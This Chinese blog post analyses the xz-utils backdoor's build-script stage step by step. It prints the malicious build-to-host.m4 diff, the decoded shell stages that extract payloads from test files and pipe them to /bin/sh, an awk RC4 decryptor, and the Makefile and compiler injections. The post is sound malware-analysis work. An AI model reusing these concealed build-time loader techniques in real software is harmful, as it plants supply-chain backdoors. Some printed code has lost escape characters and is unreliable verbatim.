前言
博客链接:https://www.ch35tnut.com/zh-cn/vulnerability/cve-2024-3094-what-can-we-learn-from-xz-backdoor/part-1-script/
目前刚弄完脚本部分分析,先写一篇文章蹭一下这个漏洞尾气的热度,所以还没有写背景..etc
说实话这个脚本挺复杂的,由于对编译部分的不熟悉,其中走了点弯路,这里需要致谢以下国外顶尖安全研究员的分析,使得分析过程顺畅了很多。
可以在discord频道和他们交流,链接:https://discord.gg/TSD7H8Ww
从整体来看,攻击者对于Linux上的编译过程/工具极为熟悉,使用各种技巧来防止编译过程中后门被发现的可能,其中使用的技巧令人(我)惊叹。
仅仅通过分析这个脚本部分已经学到很多东西,非常建议读者能够一步步去分析这个脚本,这个漏洞/后门已然算得上分析过的最复杂的一个了,
在整理这篇文章时已经凌晨了,更多的写在后面的文章吧,更多分析可以关注博客。
分析
什么是IFUNC
根据解释,通过IFUNC,使得应用程序可以在运行时对函数进行重定向,通过编写解析器函数,在运行时通过解析器函数动态选择函数并执行、
攻击流程
图源:https://twitter.com/fr0gger_/status/1774342248437813525
环境准备
下载rpm源码https://kojipkgs.fedoraproject.org/packages/xz/
解压rpm源码包,获取源码
apt install rmp2cpio cpio
rpm2cpio xz-5.4.6-3.fc41.src.rpm | cpio -idmv
参考
https://github.com/0xchrisw/xz-utils-backdoor
解压源码之后可以开始正式分析了。
configure
build-to-host.m4
是一个正常的文件,可以通过安装gettext
获得,攻击者修改了合法的脚本,在其中添加了恶意代码。
让我们开始分析build-to-host.m4干了什么,从源码中diff该脚本,结果如下
diff --git a/build-to-host.m4 b/5.6.1/xz-5.6.1/m4/build-to-host.m4
index ad22a0a..d5ec315 100644
--- a/build-to-host.m4
+++ b/5.6.1/xz-5.6.1/m4/build-to-host.m4
@@ -1,5 +1,5 @@
-# build-to-host.m4 serial 3
-dnl Copyright (C) 2023 Free Software Foundation, Inc.
+# build-to-host.m4 serial 30
+dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
dnl This file is free software; the Free Software Foundation
dnl gives unlimited permission to copy and/or distribute it,
dnl with or without modifications, as long as this notice is preserved.
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
dnl Define somedir_c.
gl_final_[$1]="$[$1]"
+ gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`
dnl Translate it from build syntax to host syntax.
case "$build_os" in
cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
if test "$[$1]_c_make" = '"'"${gl_final_[$1]}"'"'; then
[$1]_c_make='"$([$1])"'
fi
+ if test "x$gl_am_configmake" != "x"; then
+ gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+ else
+ gl_[$1]_config=''
+ fi
+ _LT_TAGDECL([], [gl_path_map], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+ _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+ _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+ _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
+
+ dnl If the host conversion code has been placed in $gl_config_gt,
+ dnl instead of duplicating it all over again into config.status,
+ dnl then we will have config.status run $gl_config_gt later, so it
+ dnl needs to know what name is stored there:
+ AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval $gl_[$1]_config"])
])
dnl Some initializations for gl_BUILD_TO_HOST.
AC_DEFUN([gl_BUILD_TO_HOST_INIT],
[
+ dnl Search for Automake-defined pkg* macros, in the order
+ dnl listed in the Automake 1.10a+ documentation.
+ gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+ if test -n "$gl_am_configmake"; then
+ HAVE_PKG_CONFIGMAKE=1
+ else
+ HAVE_PKG_CONFIGMAKE=0
+ fi
+
gl_sed_double_backslashes='s/\/\\/g'
gl_sed_escape_doublequotes='s/"/\"/g'
+ gl_path_map='tr "t -_" " t_-"'
changequote(,)dnl
gl_sed_escape_for_make_1="s,\([ "&'();<>\\`|]\),\\\1,g"
前置知识
AC_DEFUN
定义一个宏,里面可以包含指令。AC_REQUIRE
用来引入定义好的宏,引入后会在当前宏执行前执行引入的宏。
所以会先执行如下命令
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
if test -n "$gl_am_configmake"; then
HAVE_PKG_CONFIGMAKE=1
else
HAVE_PKG_CONFIGMAKE=0
fi
其命令在目标目录执行结果如下,所以脚本会设置gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz
和HAVE_PKG_CONFIGMAKE=1
➜ xz-5.6.1 grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null
./tests/files/bad-3-corrupt_lzma2.xz
继续解析脚本,gl_path_map
被设置为tr "t -_" " t_-"
命令。
gl_path_map='tr "t -_" " t_-"'
前面知道gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz
。所以可以得到gl_[$1]_prefix=xz
,所以会进入到if内执行下个命令。
...
gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`
...
if test "x$gl_am_configmake" != "x"; then
gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
else
gl_[$1]_config=''
fi
gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
这里sed相当于cat,因为尝试使用r
命令读取一个文件,但n
文件并不存在,所以会打印$gl_am_configmake
,将变量展开,这条命令实际上是
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null
最后使用AC_CONFIG_COMMANDS
定义了一个宏,在该宏中会运行gl_[$1]_config
,这个宏会在configure
脚本运行时执行。
_LT_TAGDECL([], [gl_path_map], [2])dnl
_LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
_LT_TAGDECL([], [gl_am_configmake], [2])dnl
_LT_TAGDECL([], [[$1]_c_make], [2])dnl
_LT_TAGDECL([], [gl_[$1]_config], [2])dnl
AC_SUBST([$1_c_make])
dnl If the host conversion code has been placed in $gl_config_gt,
dnl instead of duplicating it all over again into config.status,
dnl then we will have config.status run $gl_config_gt later, so it
dnl needs to know what name is stored there:
AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval $gl_[$1]_config"])
让我们手动执行,将得到如下执行结果:
**➜ xz-5.6.1 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null
####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +939)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
eval $i|tail -c +31233|
tr "114-321322-37735-4714-34-1350-113" "-377")|
xz -F raw --lzma1 -dc|/bin/sh
####World####
而这条命令在5.6.0
版本上执行结果略有不同
➜ xz-5.6.0 cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "t -_" " t_-" | xz -d 2>/dev/null
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +724)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
eval $i|tail -c +31265|
tr "5-51204-37752-115132-203-4116-131" "-377")|
xz -F raw --lzma1 -dc|/bin/sh
####World####
让我们来分析以下这两个执行结果之间的区别。首先显而易见的是5.6.1的后门只在Linux上执行。其次最后一个head命令的偏移量不同(939/724)。tr命令的参数也不同。
很明显提取出来的脚本会读取tests/files/good-large_compressed.lzma
,并使用head
命令将打乱的压缩数据重新组装,并使用tr命令进行替换后得到正确的压缩数据,最后使用xz
解压缩。并将解压缩后的代码交给/bin/sh
解释
让我们手动执行该命令(基于5.6.1)可以发现解压出来的是一段shell脚本。
(xz -dc ./tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34-1350-113" "-377")|xz -F raw --lzma1 -dc
# below is output
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=" $P""
O="^pic_flag=" -fPIC -DPIC"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
[ ! $(uname)="Linux" ] && exit 0
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
......
逐一分析这段shell脚本。首先脚本会设置一堆环境变量,设置完成之后检查了当前系统是否是Linux,不是Linux则退出
[ ! $(uname)="Linux" ] && exit 0
而后执行eval,但在这之前并未设置$zrKcVq
,所以这句代码什么也不干,或许这行代码可以用于以后调试或拓展功能1。
eval $zrKcVq
之后测试config.status
文件是否存在,如果存在则使用grep并通过正则表达式在config.status
文件中寻找响应的行,并通过eval执行,这相当于设置了一些环境变量。
if test -f config.status; then
eval $zrKcSS
eval `grep ^LD='/ config.status`
eval `grep ^CC=' config.status`
eval `grep ^GCC=' config.status`
eval `grep ^srcdir=' config.status`
eval `grep ^build='x86_64 config.status`
eval `grep ^enable_shared='yes' config.status`
eval `grep ^enable_static=' config.status`
eval `grep ^gl_path_map=' config.status`
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
注意到其中含有两个包含神秘正则表达式的命令:grep -broaF '~!:_ W' $srcdir/tests/files/
和grep -broaF '|_!{ -' $srcdir/tests/files/
。
梳理其逻辑会发现跟从good-large_compressed.lzma
提取脚本类似,会从项目中匹配满足正则表达式的文件,如果找到了相应的文件则会进行一系列剪切组装的操作,解压并尝试从其中提取脚本而后执行。
在项目目录下执行,很明显,不会有相应的文件被匹配到。设置这个会方便攻击者拓展功能,而不必更新现有的二进制文件,只需要添加新的测试文件即可1
之后执行下面的代码,通过两种方式分别从config.status
和config.h
文件中查询是否启用ifunc
,如果没有则会退出,因为ifunc是后门能够hook函数的关键。
if ! grep -qs '["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0
确认共享库是否已启用
if test "x$enable_shared" != "xyes";then
exit 0
fi
确认当前系统是否是x86-64
以及是否是glibc系统
eval `grep ^build='x86_64 config.status`
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0
确认源码中含有后门必须的代码,代码在ee44863ae88e377a5df10db007ba9bfadde3d314引入,引入的代码实现了针对CRC32的IFUNC。
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
编译需要gcc和ld
if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
需要包含含有后门的测试文件
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
exit 0
在构建deb包时,dpkg-buildpackage
会生成debian/rules
目录,构建RPM包时会有环境变量RPM_ARCH = "xx86_64"
。所以当处于构建deb或者RPM包时,能通过if判断,脚本会进入if语句内执行一堆检查,以确认Makefile中是否包含后门所需修改的行。
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
eval $zrKcst
j="^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4"
if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
z="^am__uninstall_files_from_dir = {"
if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
w="^am__install_max ="
if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
E=$z
if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
Q="^am__vpath_adj_setup ="
if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
M="^am__include = include"
if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
L="^all: all-recursive$"
if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
m="^LTLIBRARIES = $(lib_LTLIBRARIES)"
if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
u="AM_V_CCLD = $(am__v_CCLD_$(V))"
if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
下面的命令会检查是否开启-fPIC(位置无关代码)
O="^pic_flag=" -fPIC -DPIC"$"
if ! grep -qs "$O" libtool > /dev/null 2>&1;then
exit 0
fi
接下来就开始修改项目的Makefile,使用sed -i
修改文件,让我们展开变量看看最终的命令是什么。
j="^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4"
U="bad-3-corrupt_lzma2.xz"
b="am__test = $U"
sed -i "/$j/i$b" src/liblzma/Makefile || true
# finally
sed -i /^ACLOCAL_M4 = $(top_srcdir)/aclocal.m4/iam__test = bad-3-corrupt_lzma2.xz src/liblzma/Makefile || true
#result
am__test = bad-3-corrupt_lzma2.xz
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
作为一个shell新手,其实在这里会有一个疑问,为什么在sed命令之后要添加|| true
,将这个问题扔给AI,解释如下:
|| true
的存在是为了防止sed
命令失败时导致整个脚本退出。在 Shell 脚本中,如果一个命令失败(即,它的退出状态不是 0),那么整个脚本会立即退出。|| true
可以防止这种情况,即使sed
命令失败,脚本也会继续执行。这是因为 true 命令总是成功的,所以|| true
总是成功的。
也就是会找到ACLOCAL_M4
所在的行,并在其前面插入一行am__test = bad-3-corrupt_lzma2.xz
接下来会继续修改Makefile,在am__install_max
所在的行前插入一条命令
d=`echo $gl_path_map | sed 's/\/\\\\/g'`
b="am__strip_prefix = $d"
sed -i "/$w/i$b" src/liblzma/Makefile || true
#result
am__strip_prefix = tr " -_" " _-"
am__install_max = 40
接下来继续修改。
b="am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)"
sed -i "/$E/i$b" src/liblzma/Makefile || true
b="$(top_srcdir)/tests/files/$(am__test)"
s="am__test_dir=$b"
sed -i "/$Q/i$s" src/liblzma/Makefile || true
最终会在Makefile里面插入以下代码
am__test = bad-3-corrupt_lzma2.xz
am__test_dir=$(top_srcdir)/tests/files/$(am__test)
am__strip_prefix = tr " -_" " _-"
am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL)
结束上面的操作之后,脚本会尝试找到编译参数LDFLAGS
,并寻找里面是否含有-z,now
或-z -Wl,now
如果没有则会将其和另外的一些编译参数一起添加到liblzma_la_LDFLAGS
内
h="-Wl,--sort-section=name,-X"
if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
h=$h",-z,now"
fi
j="liblzma_la_LDFLAGS += $h"
sed -i "/$L/i$j" src/liblzma/Makefile || true
其中-z -Wl,now
是gcc的链接器的参数,通过添加这个参数可以让链接器在程序启动时立即加载所有so并解析所有符号,通常来说这是用于加强程序安全性的选项,而不是按需加载。
它还具有在解析过程中启动时运行 GNU 间接函数 (ifunc) 解析器的效果,并且后门安排从其中之一调用。后门设置的早期调用使其在表仍然可写时运行,从而允许后门用自己的版本替换
RSA_public_decrypt
的条目1。
sed -i "s/$O/$C/g" libtool || true
#result
pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
脚本接下会将libtool中的pic_flag添加 -fno-lto -ffunction-sections -fdata-sections
,添加的参数会禁用链接时间优化,
k="AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))"
sed -i "s/$u/$k/" src/liblzma/Makefile || true
l="LTDEPS='$(lib_LTDEPS)'; \\n
export top_srcdir='$(top_srcdir)'; \\n
export CC='$(CC)'; \\n
export DEFS='$(DEFS)'; \\n
export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \\n
export INCLUDES='$(INCLUDES)'; \\n
export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \\n
export CPPFLAGS='$(CPPFLAGS)'; \\n
export AM_CFLAGS='$(AM_CFLAGS)'; \\n
export CFLAGS='$(CFLAGS)'; \\n
export AM_V_CCLD='$(am__v_CCLD_$(V))'; \\n
export liblzma_la_LINK='$(liblzma_la_LINK)'; \\n
export libdir='$(libdir)'; \\n
export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \\n
export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \\n
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1";
sed -i "/$m/i$l" src/liblzma/Makefile || true
eval $zrKcHD
接下来脚本会先在Makefile中添加一行AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V))
而后在Makefile中添加下面的shell脚本
LTDEPS='$(lib_LTDEPS)';
export top_srcdir='$(top_srcdir)';
export CC='$(CC)';
export DEFS='$(DEFS)';
export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)';
export INCLUDES='$(INCLUDES)';
export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)';
export CPPFLAGS='$(CPPFLAGS)';
export AM_CFLAGS='$(AM_CFLAGS)';
export CFLAGS='$(CFLAGS)';
export AM_V_CCLD='$(am__v_CCLD_$(V))';
export liblzma_la_LINK='$(liblzma_la_LINK)';
export libdir='$(libdir)';
export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)';
export liblzma_la_LIBADD='$(liblzma_la_LIBADD)';
sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1
实际上这里的sed rpath
跟前面的sed "rn"
一样,充当cat的作用,所以这句命令实际上是
cat tests/files/bad-3-corrupt_lzma2.xz | tr " -_" " _-" | xz -d 2>/dev/null | /bin/sh
很明显,脚本又从good-large_compressed.lzma
解密出自己,并执行,相当于递归执行。乍一看这脚本貌似会一直循环解密、执行、解密、执行,像一个zip炸弹一样,直到系统资源耗尽。但很明显攻击者不会犯这样明显的错误。
让我们仔细分析一下,在第二次运行时,他已经不是被./configure
启动,而是在make时由make从Makefile中读取并执行,根据make原理,第二次运行脚本命令所在的目录不是项目根目录而是src/liblzma
,所以在前面设置完环境变量后,在第一个if判断时,找不到config.status
文件,会跳过if内的语句,尝试执行elif
内的语句。
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
而判断构建deb包所在的if处于第一个if内,所以并不会再次解压运行。
elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o)
Make
在elif中首先校验liblzma_la-crc64_fast.o
是否存在,这是由src/liblzma/check/crc32_fast.c
编译生成,即判断当前是否处在Make
过程中。
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "5-51204-37752-115132-203-4116-131" "-377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
eval $zrKcKQ
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
exit 0
fi
if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
exit 0
fi
if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
exit 0
fi
if ! grep -qs "$C" ../../libtool; then
exit 0
fi
if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
exit 0
fi
if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
exit 0
fi
跟前面一样,脚本会尝试寻找符合正则表达式'jV!.^%'
和%.R.1Z
的测试文件,如果存在则会尝试从中提取脚本并执行,当然目前来说还不存在。而后脚本会判断一系列文件是否存在,这些文件是后门所依赖的。
判断编译标志中是否含有之前注入的编译标志,以及是否含有lazy
标志,这个标志和-z,now
冲突
-z lazy
(默认):动态链接器将推迟函数符号的解析,直到程序第一次调用函数时。这被称为 “lazy binding”,可以加快程序的启动时间,但可能会导致稍微的运行时开销,因为需要在运行时解析符号。
N=0
W=0
Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
eval $zrKcjv
if test -z "$Y"; then
N=0
W=88664
else
N=88664
W=0
fi
尝试在m4/gettext.m
中寻找dnl Convert it to C string syntax
,根据寻找结果确定变量的值,在样本tar包中的gettext.m4
并不存在该字符串所以最终结果是N=0 W=88664
xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/(.)/1n/g"
这里p="good-large_compressed.lzma"
,而i正是前面从export的通过head从good-large_compressed.lzma
中提取数据的一小段脚本,这里在提取之后通过sed命令在每个字节后面插入一个换行而后通过管道传递给后面的命令。
m="^LTLIBRARIES = $(lib_LTLIBRARIES)"
LC_ALL=C awk 'BEGIN{
FS="n";
RS="n";
ORS="";
m=256;
for(i=0;i<m;i++){
t[sprintf("x%c",i)]=i;
c[i]=((i*7)+5)%m;
}
i=0;
j=0;
for(l=0;l<8192;l++){
i=(i+1)%m;
a=c[i];
j=(j+a)%m;
c[i]=c[j];
c[j]=a;
}
}{
v=t["x" (NF<1?RS:$1)];
i=(i+1)%m;
a=c[i];
j=(j+a)%m;
b=c[j];
c[i]=b;
c[j]=a;
k=c[(a+b)%m];
printf "%c",(v+k)%m}' |
这里通过awk在命令行实现了RC4算法2
xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi
在通过RC算法解密之后,通过管道传递给xz进行解压缩,在通过head命令跳过某个数量的字节,在本例中N为0,即不跳过,将88664个字节的数据写入到liblzma_la-crc64-fast.o
if ! test -f liblzma_la-crc64-fast.o; then
exit 0
fi
之后检查是否写入成功, 如果写入失败则退出脚本。
cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
将.libs目录的liblzma_la-crc64_fast.o
复制为liblzma_la-crc64-fast.o
,这是在.libs目录下,不是在脚本当前目录下,所以这是复制make编译出来的文件,而不是刚刚释放的恶意文件
V='#endifn#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))nextern int _get_cpuid(int, void*, void*, void*, void*, void*);nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }n#elsen#define _is_arch_extension_supported is_arch_extension_supported'
eval $yosA
if sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c |
sed "/include "crc_x86_clmul.h"/a \$V" |
sed "1i # 0 "$top_srcdir/src/liblzma/check/crc64_fast.c"" 2>/dev/null |
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
这段脚本定义了变量V,其值很明显为一段C代码,而后通过sed组合了一段代码,通过管道传递给了$CC
的标准输入。
而$CC 含有参数-r liblzma_la-crc64-fast.o
和-x -c -
,意味着编译器会从标准输入读取C代码,将输入的liblzma_la-crc64-fast.o
和从标准输入读取的代码编译后的.o文件合并到生成的对象文件中,这一步可以将攻击者的恶意代码得以插入到生成的so中。
AI关于gcc -r参数的解释
GCC 的
-r
或者--relocatable
参数用于生成可重定位的目标文件。这意味着生成的.o
文件可以和其他.o
文件链接在一起生成一个新的.o
文件。
如果将if
去掉,手动运行得到的C代码,并将其和原代码difff可得
1d0
< # 0 "./src/liblzma/check/crc64_fast.c"
21,26d19
<
< extern int _get_cpuid(int, void*, void*, void*, void*, void*);
< static inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }
<
<
<
112c105
< return _is_arch_extension_supported()
---
> return is_arch_extension_supported()
很明显,在传递给gcc的恶意c代码中声明了static inline bool _is_arch_extension_supported(void)
和外部函数int _get_cpuid(int, void*, void*, void*, void*, void*);
并且实现ifunc功能的crc64_resolve函数调用插入的_is_arch_extension_supported
函数,而_is_arch_extension_supported
调用了_get_cpuid
函数。
_get_cpuid
由传递给gcc的恶意.o
文件导出的。关于这个恶意文件后面再分析,我们接着分析这个恶意脚本。
cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
eval $BPep
if sed "/return is_arch_extension_supported()/ creturn _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c |
sed "/include "crc32_arm64.h"/a \$V" |
sed "1i # 0 "$top_srcdir/src/liblzma/check/crc32_fast.c"" 2>/dev/null |
$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then
这段代码跟前面那段代码一样,对crc32_fast32
进行了一波操作,但没有插入后门代码。
